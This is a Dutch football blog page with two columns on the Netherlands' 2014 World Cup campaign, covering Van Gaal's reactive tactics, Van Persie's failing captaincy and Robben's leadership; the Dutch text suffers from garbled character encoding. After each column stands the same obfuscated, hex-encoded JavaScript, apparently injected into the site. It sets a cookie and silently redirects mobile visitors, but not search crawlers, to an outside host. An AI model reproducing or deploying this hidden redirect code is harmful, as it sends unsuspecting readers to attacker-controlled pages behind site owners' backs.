Feeds:
Berichten
Reacties

Posts Tagged ‘Arjen Robben’

Perversie. Ik krijg het woord niet uit mijn gedachten over het in vele opzichten memorabele WK voetbal in BraziliA�. Al eerder gebruikte ik pervers voor het poldercatenaccio dat Oranje op dit toernooi A�introduceerde. En misschien wordt het perverse karakter daarvan nog wel het meest benadrukt door het kennelijke feit dat Van Gaal deze softe voetbalporno vanA�de Oranje voetbalvrouwen heeft gekopieerd.

Maar het is toch vooral de schuld van Frank Snoeks. Want die bestond het om het wonderbaarlijkste WK-doelpunt te begeleiden met de kreet: ‘Perversie’! En dan hebben we het natuurlijk over de snoekduikkopbal van Robin van Persie. Bekroond als het op A�A�n na mooiste WK-doelpunt, achter de fenomenale aanname annex volley van James Rodriguez. Van Persie, perversie. Het bleef maar rondzingen in mijn hoofd. Ik heb lange tijd in de veronderstelling verkeerd dat het mA�jn freudiaanse gehoor was dat ‘perversie’ verstond, toch was het wel degelijk een al dan niet bewuste verspreking van Sigmund Snoeks. Zoals hieronder te beluisteren valt. Maar daar gaan we het hier niet meer over hebben. Arno en co hebben al genoeg te verduren gehad.

We gaan het hebben over Van Persie. Over Van Gaal. En over Robben. Over Louis’ en menig Oranjespelerts beste groep ooit dus. Zelfverklaard. Maar toch vooral over RVP. Onze in aanleg beste voetballer. Al ver voor het toernooi tot aanvoerder en belangrijkste speler gebombardeerd. Door Van Gaal. Wellicht mA�t Strootman, want ook die mocht, samen met Van Persie, aan de zijde van Louis op de tribune plaatsnemen. De boodschap van de bondscoach was evenzo helder als significant: dit zijn mijn vertrouwenspersonen, mijn adjudanten in het veld. Strootman viel jammer genoeg af. Dus rustte al het vertrouwen, maar ook de druk en verantwoordelijkheid op de gevoelige schouders van RVP.

opi-mazuroDe bedoelingen van Louis waren duidelijk. Dit moest Van Persies toernooi worden na eerdere, persoonlijke mislukkingen in 2010 en 2012. Door hem belangrijk te maken en zijn vertrouwen in hem uit te spreken, wilde hij Robin zo optimaal mogelijk motiveren en positioneren. Een zo op het eerste oog te verdedigen en nobel uitgangspunt. Dat Van Gaal toen al wist dat hij na Oranje bij Man United nog intensiever met Van Persie zou gaan samenwerken, zal ongetwijfeld ook een rol hebben gespeeld. Maar hoe nobel ook, daar maakte Louis zijn eerste en tevens grootste fout. Want leerlingen willen niet met de meester samen gezien worden. Wie dat wel wil, is ten dode opgeschreven en wordt door zijn klasgenoten afgeschreven. Ze zullen het niet openlijk hebben laten blijken, maar toen al werd in elk geval het gezag van deA�A�benoemde aanvoerder ondermijnd. En bij Robben moet zich op dat moment zijn missie hebben vastgezet om te laten zien dat er maar eentje echt onmisbaar is in Oranje. Ze kunnen nog zoveel lullen met elkaar en de schijn wekken dat ze de dienst uitmaken, maar in het veld geef A�k de doorslag en niemand anders, moet zo ongeveer Arjens gedachtengang zijn geweest.

De rest is geschiedenis. RVP viel slechts op door een enkele oprisping van zijn onmiskenbare klasse en het feit dat hij zich talloze keren buitenspel liet zetten. Die ene keer dat hij toch het voortouw wilde nemen, lieten zijn medespelers hem stilzwijgend, maar alleszeggend in de steek. In niets leek hij op de zelfbewuste speler die precies de juiste momenten uitkiest, zoals hij dit al zo vaak bij Arsenal, United en toch ook tijdens de WK-kwalificaties heeft laten zien. Een lichaamstaal en inzet die welhaast sabotage deden vermoeden, maar volgens mij werden veroorzaakt door verkramping en verlamming. Hem was onvoorwaardelijk vertrouwen en verantwoordelijkheid geschonken, maar hij zag gaandeweg dat slechts A�A�n speler dat waarmaakte; die binnen en buiten het veld de verantwoordelijkheid nam en daarvoor ook alle credits kreeg van de buitenwereld: de niet benoemde, maar natuurlijke leider Arjen Robben. En hoezeer Louis hem ook bleef beschermen – wellicht juist ook dA?A?rom – Robin wist er geen raad mee en voelde het (zelf)vertrouwen steeds meer wegvloeien en de moed in de schoenen zakken.

vitesse - ajaxBij alle min of meer terechte lof die Van Gaal op dit WK is toegezwaaid, moet deze gang van zaken toch als een smet op het blazoen worden bestempeld. Te meer omdat hij dit had kunnen voorzien en dus had kunnen en moeten voorkomen. Het is een psychologische miskleun geweest om de gevoelige Van Persie ten overstaan van de gehele voetbalwereld zA? belangrijk te maken, dat hij onmogelijk aan deze verwachtingen kon voldoen. Het stelt meteen ook de door zowel technische staf als spelers A�veel gebezigde uitspraakA�dat dit ‘de beste groep ooit was waarmee ik heb gewerkt’ in een ander daglicht. Want hoe kun je nou van een ‘beste groep ooit’ spreken als uitgerekend je uitverkoren aanvoerder en belangrijkste speler toch niet echt lekker in zijn vel zit en door zichzelf en anderen niet als de echte leider wordt gezien?

De tweede cruciale misrekening van Van Gaal was de keuze van het systeem, dat ik hier gemakshalve en niet aan twijfel onderhevig ‘reactievoetbal’ zal noemen. Gokken op de counter en balverlies van de tegenstander waardoor er aanvallende ruimte en een overtal ontstaan. Ideaal voor spelers als Robben en zo u wilt, Lens en Depay. Spelers die van en op hun snelheid kunnen profiteren en passeren. RVP heeft alle andere kwaliteiten, behalve deze. Toch persisteerde Louis met het opstellen van Robin, die almaar meer leek uit te stralen dat hij liever uit zijn leiden zou worden verlost. Hier al eerder geconstateerd en bepleit.

Dat Van Gaal zijn systeem en opstelling pas aanpaste toen het niet anders meer leek te kunnen, voedt de (veronder)stelling dat het reactievoetbal van Oranje op het WK 2014 de reactiecoach kreeg dat het verdiende. Waar Van Gaal alom werd bewierookt vanwege zijn visionaire ingrepen, daar waren het feitelijk slechts reacties op ontstane situaties of verkeerde inschattingen. Zie Verhaegh, Van Persie/Huntelaar, overschakelen op 4-3-3. En in het geval van het vasthouden aan Kuijt keerde het aanvankelijke voordeel (voorbeeldige strijdlust en zekerheid) om in een nadeel vanwege de bijna structureel slechte voortzetting van de Katwijker in balbezit tijdens met name het duel tegen ArgentiniA�.

Persie geeft band aan Robben media_xl_2319703Zelfs de als geniaal bestempelde wissel Cillissen/Krul kan hieronder worden geschaard. Waarom deze risico’s lopen en jezelf voor het blok gezet zien worden in de halve finale tegen Argentinie, als je al vA?A?r het toernooi ook Krul eerste keeper had kunnen maken, wetende dat hij de betere penaltykiller is en dat er weinig kwaliteitsverschil bestaat tussen beiden? DA?t was visionair geweest, dA?t had pas getuigd van kundig ageren en anticiperen in plaats van geniaal, maar riskant en opportunistisch reageren.

Bij dit soort zaken dringt zich bij mij altijd de vergelijking met Heurelho Gomes op, de ooit eveneens zo bewierookte keeper tijdens zijn PSV-periode. Spectactulaire reddingen, fenomenale reflexen. Maar niet zelden voorafgegaan door verkeerde timing, inschatting en opstelling van Gomes zelf. Hij creA�erde als het ware zijn eigen situaties om uit te blinken. Ook knap, maar toch. Met Gomes liep het het daarna niet al te best af, hij viel elders toch door de mand. Dit zal Louis niet overkomen en dat is ook terecht. Want hoe dan ook mogen we de verrassende prestatie van Oranje op dit WK op zijn conto schrijven. Omdat vooraf niemand er ook maar een cent voor gaf.

Maar het zou pas echt verrassend zijn wanneer Van Gaal – na een door hemzelf zo gepropageerde gedegen evaluatie en analyse van zijn eigen en het totale (mens) functioneren – tot de conclusie zou komen dat hij ook een paar cruciale verkeerde inschattingen heeft gemaakt. Waardoor onze beste speler in het geheel niet uit de verf is gekomen. Zijn beste middenvelder, Sneijder, evenmin. Die hem en ‘ons’ misschien wel de wereldtitel hebben gekost. Maar die er bovenal voor hebben gezorgd dat niet ons voetbal, maar de coach de meeste aandacht en waardering heeft gekregen. En daar zal het Louis toch niet om te doen zijn geweest..?

– Van Gaal en Van Persie op de tribune komt van http://www.onze11.nl

– de symbolische overdracht van de aanvoerdersband staat op volkskrant.nl

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Ook Voetblah-redacteuren zijn net mensen, dus ook binnen ons illustere schrijverscollectief woedt de discussie over het ofwel perfecte reactievoetbal dan wel pervers perfide poldercatenaccio van Louis en onze jongens inA�BraziliA�. En natuurlijk willen wij daar ook iets over kwijt. Het oorspronkelijke plan was om een sympathisant van beide kwalificaties een post te laten schrijven. Een heuse Voetblah-polemiek dus. Maar ziet: onze evangalist Cardoso die zijn passie over de tactiek wilde prediken, zag zijn boodschap vrijwel geheel vervat in deze column van Menno Pot. Bovendien wordt het geen polemiek, maar een kanttekening. Geen fundamentalisme, maar relativisme. Geen onwankelbare kwalificering, maar een nuancering. Het wordt zelfs geen cultuurfilosofische verhandeling. En aan wie kunnen we dit beter overlaten dan aan good-old Mazuro.

Dat ik hier word geconfronteerd met Menno Pot is weliswaar onvoorzien, maar toch ook weer geen toeval. Via de sociale media a�� en soms daarbuiten a�� komen we elkaar nogal eens tegen, dus zijn we wel zoa��n beetje op de hoogte van (het verschil in) elkanders voetbalbeleving. Ik kan het niet beter omschrijven dan met de vaststelling a�� let wel, geen waardeoordeel a�� dat Menno een columnist is die schrijft over, onder meer, voetbal en dat ik voor mijn gevoel nog steeds een voetballer ben die schrijft; over van alles, maar vooral en zeker het liefst over voetbal.

opi-mazuroEen columnist chargeert en provoceert. Althans ik hoop voor Menno dat dit ook voor deze column geldt. Want als hij het Oranje-voetbal tijdens de eerste helften op dit WK ook als a�?mooi en meeslependa�� heeft ervaren; toen ook a�?voortdurend het gevoel had dat ze dichter bij een doelpunt waren dan de tegenstandera��; ook toen a�?Oranje zoa��n bijzonder aantrekkelijke, heerlijke ploega�� vond en toen ook zag dat a�?de geestdrift en het pleziera�� a�� inclusief de coaches en spelers op de bank a�� a�?er van af straaldena��, dan kan ik a�?m alleen maar benijden. Omdat hij dan meer gezien heeft dan ik. Ik, die zich aan dA?t voetbal van Oranje kapot heeft geA�rgerd, overvallen werd door plaatsvervangende schaamte of a�?zich hartstochtelijk te pletter verveeldea��. Ik, die alleen maar begeesterd werd a�� voor zover daar ruimte voor was a�� door het spel en de aanvallende bedoelingen van de tegenstander.

Over te pletter vervelen gesproken: ik denk dat voor de neutrale toeschouwer Nederland a�� Chili, op het laatste kwartier na, de saaiste, meest ‘zaaddodende’ wedstrijd was van dit WK tot dusver. Dat je je als Ajax-supporter (ook al zoa��n nieuwe realist!) nog meer te pletter hebt verveeld, is een wel erg dubieus alibi om dit spel spannend te vinden. Maar het kan natuurlijk ook zomaar zijn dat Menno tijdens voornoemde episodes met andere dingen bezig was. Zoals lezen, schrijven of twitteren. Misschien was het wel pappadag. Weet ik veel.

vlaar-vervangt-geblesseerde-martins-indi-japanNee Menno, het zijn er niet ‘slechts een paar’. En het zijn lang niet alleen zij die a�?zwammen vanaf prominente zetels (grote kranten, populaire televisieprogrammaa��s), dus onthoud goeda��: a�?wea�� zijn met velen. Waar je wel gelijk in hebt is dat er een heel stel zeurpieten tussen zitten. Fossiele romantici, mensen die zijn blijven hangen in het verleden, fervente Van Gaal-haters, notoire schamperaars, rancuneuze Cruijff-apostelen. Waar er maar een paar van zijn, dat zijn zij die net als ik wel degelijk bewondering hebben voor Van Gaals vakmanschap en teambuildingscapaciteiten, zelfs voor zijn realiteitszin. Die genieten van het onverzettelijke optreden van de echte verdediger Ron Vlaar, net als van de sporadische, doch supersnelle uitbraken en fraaie doelpunten. A�Maar wie wint, heeft niet altijd en ook niet in alles gelijk. En hoe chauvinistisch ook ik ben, het gaat om het voetbal, niet om het land. OkA�, deze oneliner kwam ik ergens tegen, maar is daarom niet minder waar.

Het voetbal dus. Countervoetbal. Reactievoetbal volgens Louis. Wat dan ook, het is gebaseerd op verdedigende stellingen om van daaruit te counteren. A�En omdat Robben in de vorm van zijn leven is en dit spelletje op zijn eindelijk luisterende lijf is geschreven, schrijven we tot dusver historie. Knap, uiterst efficiA�nt en effectief. Chapeau.

Maar dat we daarvoor gedurende hele wedstrijdfasen zeer afwachtend, superverdedigend en bij vlagen zelfs afbraakvoetbal voor lief moeten nemen, is voor mij een te groot en onnodig offer. Balbezit hoeft niet heilig te worden verklaard, maar knap positiespel, slim uitverdedigen, een middenvelder durven inspelen in plaats van lukraak de bal naar voren lellen in de hoop a�� in deze vorm bijna in de zekerheid a�� dat Robben a�?m oppikt, het zijn elementen die het spel aanzienlijk kunnen verfraaien. En waardoor je dus niet hoeft te wachten op die inderdaad soms mooie, tot nu toe wonderbaarlijk gelukte, maar toch spaarzame tegenaanvallen.

Ja maar, we hebben daarvoor de kwaliteiten niet, zeggen de aanhangers van het neorealisme. Liever een winnende pot die grotendeels en voor velen niet te verteren is (tot uw dienst Menno), dan alwA�A�r aan het kortste eind trekken met aanvallend voetbal, zo luidt de nieuwe doctrine.

robben-casillas1Realisme, niks mis mee. Je sterkste punten benutten, graag zelfs. Roeien, riemen, natuurlijk. De vraag is echter of het ook niet anders had kunnen worden aangepakt. Met hetzelfde resultaat, maar op een meer attractieve wijze. Ja dus. Ik durf zelfs te stellen dat de tactiek tegen Spanje (met vijf verdedigers) verkeerd was. Er werden veel te veel kansen weggegeven, a�?wea�� hebben volledig geparasiteerd op het talent van de voorwaartsen en zijn daar echt door het oog van de naald gekropen. Er was totaal geen grip op het middenveld en het te laat instappen van Martins Indi en De Vrij leidde meerdere malen tot vrije doortocht voor de Spaanse voorwaartsen.

In 2010, toen dit nieuwe realisme door Van Marwijk in gang werd gezet, deden we dat nog veel beter. Er werd ten eerste veel eerder en a�?hogera�� druk gezet, zodat Spanje amper bij de vijandelijke goal kon komen. Had Robben de gewraakte A�A�n op A�A�n met Casillas wel gemaakt, danA� hadden we Spanje ongetwijfeld weggecounterd alsof het vier jaar later was.

Tegen het huidige Spanje, hoe op zijn retour ook, was de verdedigende tactiek vanzelfsprekend verdedigbaar, maar tegen een beperkt AustraliA� was dat een regelrechte blamage. Ondanks, maar waarschijnlijker dankzij de tactiek kwam de tegenstander voortdurend tussen de linies aan de bal en wisten de ‘onzen’ elkaar op het midden praktisch nooit te vinden. Totdat, wie anders, a�?onsa�� uit de brand hielp.

Gek genoeg bood de minst opwindende wedstrijd van de drie nog het meeste houvast. Met een verdediger minder stak het verdedigend beter in elkaar, om maar eens een Cruijffiaanse wijsheid te fingeren. Er werd niets weggegeven doordat de ruimtes op het midden kleiner waren en we korter op de man konden zitten. Met excuses voor het analisten- en trainersjargon. Nog steeds was de opbouw matig, maar dat is iets wat Van Gaal zelf ook heeft toegegeven.

Counteren, het kan prachtig zijn. Een snelle, over een paar schijven uitgevoerde tegenaanval: het is A�A�n van de schoonheden van het edele voetbalspel. Maar dit voetbal is bij tijd en wijlen de counter en de schaamte voorbij. Het doet mij teveel denken aan de tegenstander van vroeger die er geen hout van kon, die met za��n allen voor de goal gingen liggen, maar voorin A�A�n goeie voetballer hadden die balletjes stond af te wachten en er altijd wel een paar inschoot. Of aan de tennisser aan de overkant van het net, die alles terugbrengt en vertraagt, jou naar het net lokt om dan met een perfecte lob toe te slaan. Ook knap, toegegeven. (Te meer omdat die tennisser me heel bekend voorkomt..) En iemand die zo nodig wereldkampioen wil worden, moet maar laten zien dat-ie ook dat kan bestrijden, maar toch: willen wij zA? tot a�?s werelds beste voetbalnatie worden gekroond?

Wesley-Sneijder-getty-146300950Ja, natuurlijk willen we dat! Ik voorop. Al is het alleen maar omdat we het gezien ons voetbalverleden en positieve impact op de voetbalwereld, a�?balbezitfetisjismea�� incluis, eindelijk wel eensA�verdienen. En ik sluit niet uit dat we dat ook daadwerkelijk waar gaan maken, net zo min als ik uitsluit dat dit, hoe tegenstrijdig dit ook klinkt, met meer realistisch en toch aantrekkelijker voetbal gepaard zal gaan. Want hoe dan ook is het zelfvertrouwen van iedereen, behalve wellicht Wesley Sneijder, toegenomen. En nu we het toch over Wesley hebben a�� ik ben ervan overtuigd dat wanneer Van Gaal c.q. Oranje erin slaagt om onze beste middenvelder beter te laten renderen, de kansen op de wereldtitel aanzienlijk zullen stijgen.

Maar dan hebben het nog niet over de tegenstander gehad. Want Mexico cum suis hebben natuurlijk allang het gevaar van dit Oranje onderkend. En om de fraaie metafoor van Mennoa��s stiletto er even bij te halen, men zal wel gek zijn om ook in het mes te lopen. Ja, misschien dat de Mexicanen a�� toch een beetje het Nederland van Zuid-Amerika a�� nog zo a�?doma�� zijn om trouw te blijven aan de huisstijl, maar de Urugayanen, Colombianen, Argentijnen en Brazilianen zullen zo naA?ef zeker niet zijn. En als we dan toch op miraculeuze wijze tot in de finale geraken, dan is onze enige hoop Die Manschaft als opponent aan te treffen. Want dat is ironisch genoeg nog de enige romanticus onder de voetballanden. Nota bene in navolging van Nederland vindt men daar nog de wijze waarop het spel wordt gespeeld minstens zo belangrijk als de knikkers. Wij zijn het nieuwe Duitsland, Duitsland is het nieuwe Nederland. En Van Gaal wordt wellicht wereldkampioen met een spiegelbeeld van de spelopvatting van zijn erfvijand Cruijff. De ultieme wraak. De ironie ten top.

Alleen de geschiedenis zal ons leren of deze stijlbreuk en dit Oranje-team zullen beklijven A?f dat men zich in pakweg 2030 alleen nog maar de Robben en Van Gaal van 2014 zal herinneren. Ik sluit niet uit dat dan nog steeds het totaalvoetbal van de jaren a��70 als piA?ce de rA�sistance zal worden gezien.

En Apollo 13? Niet gezien. Maar opwindend is het zeker.

 var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

%d bloggers liken dit: